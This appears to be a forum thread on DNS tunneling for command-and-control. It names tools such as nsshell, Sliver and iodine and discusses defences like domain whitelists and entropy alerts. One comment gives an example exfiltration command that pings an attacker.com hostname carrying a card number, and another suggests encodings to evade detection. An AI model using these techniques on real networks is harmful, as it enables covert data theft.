On my home network, using dnscrypt-proxy, I keep a whitelist of top-level domains my devices have connected to. The few new domains to resolve are forwarded to a remote server and logged for periodic review, to update the whitelist or spot suspicious queries. So while it may not scale, it could be useful for spotting DNS C2C.
Does your setup distinguish between IoT-ish devices (where you don't know what software is running) and human-operated devices (which would trigger this every time they browsed to a new site)?
No, but that would be fairly easy to configure - put the IoT devices on their own VLAN with dedicated DNS server. My household is small and the list of new domains visited is manageable and interesting to inspect by hand. It's definitely more of a hobby than a scalable solution, I must warn.
IPv6 DNS C2 is pretty easy to spot. ISMDoor for instance throws an exclamation point in its "sync" messages with the C2 which gives it away since that's an invalid character in the spec. Other C2s use IPv6 responses which are encoded which often drops them outside of the global unicast scope or returns an IPv6 address on an unassigned network. IPv6 has such a huge address space that you can check responses with something like ipv6calc and catch anomalies really fast. As far as I've analyzed there isn't a malware family using IPv6 DNS tunneling that actually attempts to be always in an address range that makes sense/valid in its responses or produce a query that couldn't be easily spotted as a blob of base-64/encrypted data. Though given that you get 16 bytes in a AAAA record to work with it would be pretty trivial to make an encoding that uses those 16 bytes to fill with English word combinations that look like valid hostnames then ensure encoded responses are always in say Google's ::/32.
Edit: If you're looking to passively monitor your DNS I'm a big fan of CIRCL's D4 project that's just getting up and running. Check it out! https://www.d4-project.org/
I use a similar setup. The "whitelist" is a zone served by a local authoritative server like tinydns or nsd. There is no remote server. Using a local cache such as dnscache or unbound is optional. Spotting queries to an attacker-controlled domain in the tinydns logs would be easy. The tinydns logs are invaluable for determining what domains our servers and applications actually need to function... versus the ones that serve the interests of third parties for telemetry, ads, tracking, etc.
Yes, nothing fancy. On the router, Dnsmasq and Dnscrypt-proxy with "forwarding rules" mapping domains or TLDs to desired resolvers. Any queries not matched get forwarded upstream to a server running Dnscrypt-wrapper and Dnsmasq, which logs and resolves over Tor.
Most notably nsshell doesn't even need the target to run python. I have written a bunch of exploit modules for it, and the only exploit modules that require python are the jinja2 template injection modules. (https://github.com/TheRook/nsshell/blob/master/nsshell/loade...)
I like your encryption protocol, I might adopt it.
I've used nsshell to great effect on multiple projects, highly recommend it (but an encrypted option would be great rook). I've also written a more heavy handed asymmetrically encrypted DNS C2 https://github.com/BishopFox/sliver
I used something similar to this in the past to evade traffic manipulation on a controlled network. Iodine gives you a full tun/tap connection and encapsulates an ipv4 connection over dns null requests and responses. I'm not sure it is stealthy as such countless random requests to a single wildcard domain look a little suspicious even in the high noise environment I was testing in the blue team caught on after a few months.
I ran mosh and ssh over top to secure the connection
Just enough bandwidth for an 80x30 in realtime
It’s from Facebook’s Red Team, which attacks Facebook and tries to move laterally like a real, motivated, and persistent attacker. They build some nice tooling, sometimes more advanced and well thought than what attackers actually use to stay under the radar and accomplish their objectives. This one is one of the many.
They should - high entropy dns names and frequent subdomains should be indicators to watch for. The bad news is they can be noisy and not get the attention they deserve (never saw a SOC that wasn't swimming in alerts).
I’ve never seen anyone try and setup alerts for random DNS queries. If you’re in the position to know what domains are good, then why not simply use a whitelist?
Besides, even if you saw these queries you’d have no easy way of know I’d they were malicious or not.
Some IDS systems do it for you
I was using Darktrace at my last job and it would tell us when servers started querying domains they don't usually query so there are products that do it
Those systems usually flag based on a known set of “bad” domains, which wouldn’t stop this attack (they could just register a few new domains before starting the attack).
It’s my understanding that most proper red teams and hacking groups have their own custom payloads that generally won’t be detected by AV. Surely any open source malware will be easily detectable...?
Additionally, I’ve never understood how packers don’t get detected by AV. Normal software isn’t typically extremely high entropy, is it?
I would suspect this would get lost in the noise on a software developer's machine. The developer's machine could be targeted by the red team because of this (and because of a developer's normally elevated privileges and varying network activity)
It might be “small [and] in-memory”, but it requires a python interpreter, right? I’m not into offensive security, but does this implementation (compared to e.g. a statically linked binary) make sense?
If python 3 is available on the target system, this is certainly making sense, it might make the entire thing fly under several radars because a lot of things scan for suspicious binaries (statically linked, coming over unusual channels, etc.) and would leave a python file that is properly obscured alone.
The magic of DNS tunneling is that it uses the normal methods of resolving names, so internal DNS servers/forwarders become proxy servers for the attacker's connection out to the Internet.
The most simple example someone gave me years ago was if someone wants to exfiltrate a credit card number, they can ping 4084515531278764-0424-789.attacker.com from an internal system. It doesn't matter if the ping succeeds. If the internal system gets a resolution response back from the internal DNS, the attacker has the card number in their DNS logs.
Tunneling TCP or other C2 traffic is just an extension of that which includes the attacker's DNS server sending a message (4 arbitrary bytes in the form of an IPv4 address, or more data in the form of a TXT record response, etc.) back to the internal system via the normal response path.
Its pretty clever, IMO. Most sysadmins think of DNS as being like a phonebook, but phonebooks are a single, supposedly authoritative source, and DNS is decentralized.
That really is pretty clever. Thanks a lot for explaining! Whish I could upvote multiple times.
I didn't even consider the normal resolver path because of caching,rate limits and perfmance but it's not like we're building a production protocol here, it just needs to work enough to facilitiate minimao communication.
This will make an interesting threar hunting excercise.
